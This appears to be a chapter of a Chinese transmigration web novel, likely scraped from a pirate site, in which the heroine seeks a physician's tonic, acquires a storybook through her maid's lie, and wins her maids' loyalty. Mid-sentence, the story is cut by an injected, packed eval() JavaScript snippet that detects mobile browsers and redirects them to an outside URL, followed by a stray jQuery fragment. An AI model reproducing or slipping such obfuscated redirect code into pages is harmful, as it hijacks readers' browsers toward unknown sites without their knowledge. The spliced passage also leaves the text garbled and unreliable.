伯爷下葬后,族亲们便回到了乾州,陆月华和池绪也匆匆回临安城了。
她临走前,给陆昭华留下五千两银票。
“母亲平日管得严,权当是做姐姐的一份心了。”
这银子来得正是时候,陆昭华并未推脱。
四十多天的白昼颠倒,让陆昭华本就不好的身子雪上加霜。她迫切地需要一个温养身体的方子。
听闻羊市街上的仁济堂里有个宋神医,诊金极高,但医术高明,听闻其有一套调理身子的秘方,自幼开始调理,效果极佳。
城中不少世家女娘都会找他开上一份专属方子,譬如陆染华,如今不过六岁,便已经开始找他调理了。
只是这方子中名贵药材颇多,价值不菲,所以陆昭华是没这个福气的。
孙氏掌家这些年,几个孩子手里都是没什么私房的,而陆月华赠给她的钱财,恰好能去找宋神医开上一年的方子。
穿越十载,陆昭华太清楚一个好体魄的重要性了。
她只是个久居深闺的姑娘,光听说因难产血崩等原因亡故的女子就已经数不胜数。
所以,若是身子不好,都不用谁来迫害,只生产这一关就能要了她的命。
倒不是陆昭华自讨苦吃,非要嫁人生子。盖因启朝的风化对女性极为严苛,若是不嫁人,就会被当做另类送进尼姑庵,还会影响家族名声。
以孙氏的狠辣程度,若是陆昭华胆敢有剃发为尼的想法,只怕孙氏会让她活不过第二天早上。
可嫁人就要生育,如女子嫁人后三年不孕,也会被以犯了七出被夫家休弃,仍是会影响家族名声。
最终的结局,总归都逃不过“清白地死去”。
这在启朝也颇为常见,若哪个女子这样做了,便会被歌颂为贞洁烈女,以一人之死,换来整个家族的口碑。
至于这些“贞洁烈女”是不是自愿的,那就无人知晓了。
所以好体魄是革命的本钱,陆昭华自然舍得在这上边儿花钱。
她带着福银一路走到仁济堂,方才知晓这宋神医竟然火到了要排长队的程度。
她只好写了名字,同福银四处转转。
羊市街上店铺林立,胭脂水粉、羽衣罗裳,好不繁荣。
但这些店铺里的东西并不便宜,所以皆是门庭罗雀,唯有角落里的四墨书局,和仁济堂一样火爆。
街上好些人向那里走去。
“走快点,待会话本子又售罄了。”
“今儿我非抢到一本不可,不然回去我家娘子可饶不了我。”
“哼,先到先得,你有这说话的功夫,还不如快走两步!”
陆昭华双眼放光。
话本子,难道是小说吗?
“福银,我们也去那儿瞧瞧!”陆昭华有些兴奋,拉着福银就朝那里挤。
待走近了,便见到书局内,掌柜扯着嗓子吆喝:“《与秀才私定终身》已售罄,后面的不要排了!《报恩九尾狐》还有十一本,先到先得!”
有个通身贵气的少爷站在陆昭华身侧,颇为显眼。
倒不是他长相多俊,只是这倒春寒的时节,他却手里拿着一柄青竹折扇,怪气得很。
他右手轻摇折扇,左手背在身后,像是特意凹了造型。
待清了清嗓子,这才幽幽开口询问:“怎么一连几个月都是这两本,本少爷都看腻了!可有时兴的?”
“何三少爷!您来了?”掌柜见到是他,谄媚一笑:“这写话本子的函先生久未露面,我早安排人去寻了,却不见踪迹。公子不如等等?”
这位何三少爷神情失望,沉吟片刻,示意身旁小厮拿出一袋银子丢给掌柜:“若何时来了新本子,你只管差人送到恩国公府上!”
原来这位就是恩国公府的三少爷啊。
汴京城第一纨绔,竟然也爱看话本子。
书籍金贵,只一本话本子,就要用去十两!
“福银,你也去排!”陆昭华肉痛地将福银推过去,挤到了队伍最后头。
她想看看这话本子,是不是就是现代的小说。
瞧着这火爆程度,不失是个赚钱的门路。
福银见自家姑娘竟买些这不知羞的书籍,小脸一红。
唉,原以为自家小主子虽不受宠,却也是个人物,没想到还是看走了眼,竟是个不着调的。
罢了,时也命也。谁让她生来命贱呢?
福银哭丧着脸,闷不做声地排着。而陆昭华则是回到仁济堂去问诊了。
这宋神医两鬓斑白,瞧着年近花甲,只轻轻号脉,便眉头紧锁。
陆昭华心中忐忑:“神医,可是我这身子不大好了?”
“小小年纪体弱气虚,只怕不大好补啊!”
听了宋神医的话,陆昭华的心猛地一坠。
“这可如何是好?”
宋神医捋了捋花白的胡子,提笔开始写方子:“还好来得及时,若是再晚上两年,这身子骨可就调理不出来了。”
听到这话,陆昭华狠狠地松了一口气。
方子只开了三个月的剂量,只因陆昭华的身子需通再补,还需再来复诊。
陆昭华拿了药材后,忽然想到些什么,又出声问道:“宋大夫可有什么清贫人家使的通用方子?可否也给我开上三个月的剂量?”
“方子自然是有的,只效果一般。你可还要?”
“自然是要的。”
一通问诊过后,陆昭华提着三大包药材迈出了仁济堂的大门。
她不由咋舌,这古往今来,看病果然是最花钱的,还没一炷香的功夫,一千两银子就这么搭进去了。
依照宋神医的意思,若想将她彻底调理好,还得再喝上三年的汤药。
还是需要银子啊!
“姑娘!”不远处,福银正抱着一本书等在那里。
陆昭华眼睛一亮,快步过去:“竟是买到了?”
“原是买不到的,排队的人太多了。”福银轻声解释,“只是奴婢同那掌柜的说,若是买不到,我家姑娘要扒了我的皮!掌柜的这才心生怜悯,叫那什么三少爷匀了一本。”
陆昭华瞪大了眼睛:“你可说是哪家的姑娘了?”
“自然说了。”福银眼中闪过一抹狡黠,“奴婢说的是那镇远侯府的表小姐!总归她跋扈惯了,想来无人怀疑。”
这哪里是那个谨小慎微的小丫头啊?
简直胆大包天,竟敢往那侯府头上讹!
陆昭华连忙将手指比在唇上:“嘘!快走罢!若是叫人拆穿了,咱们主仆二人可就摊上大事了!”
陆昭华拉着福银一路狂奔,直走到伯府门口,狂跳的心脏才稍微踏实些许。
这个福银!太不靠谱了。
只怕那书局的掌柜已经记下了福银的样貌,到时候少不了要拖累了她。
可是福银也是为了给她购书,一片赤诚,她总不能将福银打杀了去。
念及如此,陆昭华愤恨地一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446659|185126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跺脚:“罢了,福银,往后只怕你不能再同我出门子了。不过你且放宽心,在这院中,我也不会亏待了你便是。”
福银见她六神无主的样子,缩着肩膀噗嗤偷笑出声:“姑娘,我排队时是拿了帕子挂在脸上的,没人瞧见!且奴婢在牙行时听人说了,那表小姐不日就要嫁到幽州去了,不会叫人发现的!”
闻言,陆昭华的心终于定了许多。
可这福银先斩后奏,行事无状,还是让她阵阵后怕。
万不能养成了这个习惯。
陆昭华板着脸,神情严肃:“福银,往后可不许再自作聪明!不然,就休怪我不讲情面了。”
福银低着头,脸色通红:“奴婢知错了,再没有下次了。”
她没有为自己辩解,陆昭华心中颇为满意,还算是个乖巧的。
当下她也不再板着脸,吩咐福银去唤来福金。
“这些时日,你二人的言行我都看在眼里。”陆昭华坐在玫瑰椅上,声音严肃,“我先前就说了,只要你们忠心,好处定然少不了你们的。”
她将两包药材分别递给二人:“这是我找仁济堂宋神医求的方子,虽没有用上名贵药材,但也是滋补身体的好方子。你二人且拿着吧。”
通过这阵子的观察,陆昭华可以断定这两个丫鬟都是没什么坏心思的。
所以她便打定主意,要借着宋神医的方子将二人的心彻底收拢。
不出所料,接过药材的二人大喜过望。
当即跪在地上磕头谢恩。
她们自然听说过宋神医的大名,可听过归听过,却从未奢求过有朝一日,能服上宋神医亲自开出来的方子。
而今这小主子心疼她们,特意去为她们求来方子,这怎么能叫人不感动呢?
“只要你们得用,往后的好处也是少不了的。”陆昭华抬抬手,示意二人起身说话,“你们也看到了,在这伯府里我并不受宠,孤立无援。我能指望的也只有你们了。”
二人显然没有料到,陆昭华会将这事实坦然地说出来,一时间皆有些惶恐,并不敢回话。
“这又不是什么不能说的,有什么可惶恐的?”陆昭华轻笑一声,“越是不受宠爱的,就越是要好好为自己谋算,不是吗?不论是钱财、名声、甚至是权势,我都是要争上一争的!”
陆昭华今日是计划好了要向二人袒露些许野望的。
见到二人震惊、窘迫、惶恐、尴尬等情绪夹杂在一起的复杂神情,她面不改色,继续说道:“所以,做我的丫鬟,自然是要比旁人辛苦些的。你们可害怕?”
宝金呆愣一瞬,猛地摇头:“姑娘,奴婢不怕。”
宝银则是凝眉沉思后,轻声开口:“奴婢自当追随姑娘。”
陆昭华知道,二人心中定是惊涛骇浪。
她端起天青色汝窑盖碗细细地抿上一口茶,继续开口:“今日给你们个机会,能够全须全尾地回到牙行。但过了今日,我们可就是一条船上的了,届时若是再后悔,那就只有进柴房一条路了!”
见二人急着动唇,陆昭华抢先打断:“你们不必急着答复,且再想想,想好了再说。”
话毕,陆昭华便拿过那话本子细细看起来。
屋内陷入安静,除了三人的呼吸和书页翻动的声音,再无其他。
直待香几上的线香彻底燃尽,陆昭华看完本子的最后一页。
她收起话本子,长舒了一口气,这才抬眸看向二人:“可是想清楚了?”